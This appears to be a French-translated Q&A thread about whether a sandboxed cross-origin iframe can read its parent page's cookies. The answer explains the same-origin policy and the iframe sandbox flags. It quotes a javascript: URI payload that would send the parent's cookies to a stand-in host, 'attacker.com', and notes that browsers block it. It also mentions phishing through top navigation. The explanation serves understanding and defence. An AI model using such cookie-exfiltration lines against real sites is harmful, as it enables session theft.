J'ai ce code html que je peux mettre sur mon site que nous évaluons à des fins de sécurité. Son code est essentiellement ceci:
<iframe src="https://glenpierce.github.io/" sandbox=
"allow-scripts allow-same-Origin allow-top-navigation allow-forms allow-popups allow-pointer-lock allow-popups-to-escape-sandbox">
</iframe>
Mon objectif est d'écrire quelque chose sur glenpierce.github.io qui lira les cookies du parent de cet iframe et les imprimera sur la console pour prouver que cet iframe a accès aux cookies du parent si ces drapeaux sont définis. Jusqu'à présent, je n'ai pas pu en Chrome 65 en utilisant document.cookie
ou parent.document
.
Je suis bien conscient que cela n'est pas sûr et il y a d'autres raisons pour ne pas autoriser ces drapeaux, mais je suis spécifiquement intéressé à prouver que j'ai accès aux cookies des parents (et/ou au stockage local).
La première chose à noter est que les iframes (par défaut) n'agissent pas comme s'ils faisaient partie de la même origine, à moins qu'ils ne le soient . Si l'origine iframe (dans l'attribut src
) et l'origine parent diffèrent, l'iframe sera toujours en sandbox depuis le parent. Cela impose un tas de restrictions, comme être tout simplement incapable d'accéder à la plupart des propriétés du window.parent
objet.
Vous pouvez faire en sorte qu'un iframe de même origine ait les mêmes types de restrictions que les iframes d'origine croisée [1] en utilisant l'attribut sandbox
. Les valeurs de sandbox
sont des exceptions à l'attribut sandbox , pas au modèle de sécurité iframe en général. Donc, allow-same-Origin
ne fait pas un iframe d'origine croisée comme s'il s'agissait de la même origine sur la page parent; il permet simplement à une iframe de même origine de faire la même chose qu'elle aurait pu faire si elle n'avait pas été mise en sandbox . Si le parent et l'iframe sont d'origine croisée, aucune quantité de allow-same-Origin
ou allow-top-navigation
corrigera cela.
Pour les iframes qui sont en fait de même origine et ne sont pas mis en sandbox ou ont le allow-same-Origin
valeur d'attribut sandbox, window.parent.document.cookie
vous permettra de définir ou de lire (non -HttpOnly
) les cookies.
Une approche à laquelle vous pouvez vous attendre pour travailler sur Cross-Origin est la navigation supérieure. Même les iframes d'origine croisée peuvent, s'ils ne sont pas en sandbox (ou si le sandbox a allow-top-navigation
), définissez (mais n'obtenez pas) l'URL de leur parent. Vous pourriez penser que cela vous permettrait de faire quelque chose comme ceci: parent.location.href="javascript:window.location.href='https://attacker.com/?cookie=' + document.cookie"
Si cela réussissait, il exécuterait javascript dans le contexte de la page parent et exfiltrerait les cookies (non-HttpOnly) de cette page.
Heureusement, les développeurs de navigateurs sont sages dans ce genre de truc. Un iframe (qui est autorisé à naviguer en haut) peut pointer la page du haut vers plusieurs choses, mais un javascript:
L'URI n'en fait pas partie.
Autoriser les iframes non fiables à effectuer une navigation de haut niveau est toujours dangereux, bien sûr. Ils ne peuvent peut-être pas en tirer parti pour injecter un script ou voler des cookies (non sans une vulnérabilité d'injection, comme un XSS), mais ils peuvent faire des choses comme diriger l'utilisateur vers une URL similaire qui affiche le même contenu mais qui est en fait un site de phishing, par exemple.
Bien sûr, cela n'exfiltre pas les cookies, révèle simplement qu'ils sont lisibles, mais c'est un moyen d'exploiter allow-top-navigation
[1] Et puis certains; les restrictions les plus extrêmes sont plus strictes que les restrictions d'origine croisées par défaut. Cela signifie que les iframes sandboxing d'origine croisée ne sont pas nécessairement redondants. Par exemple, les iframes d'origine croisée sont par défaut autorisés dans la plupart des formes de navigation supérieure et d'exécution de scripts qui n'essaient pas d'interagir avec le window.parent
objet, mais vous pouvez bloquer ceux avec sandbox.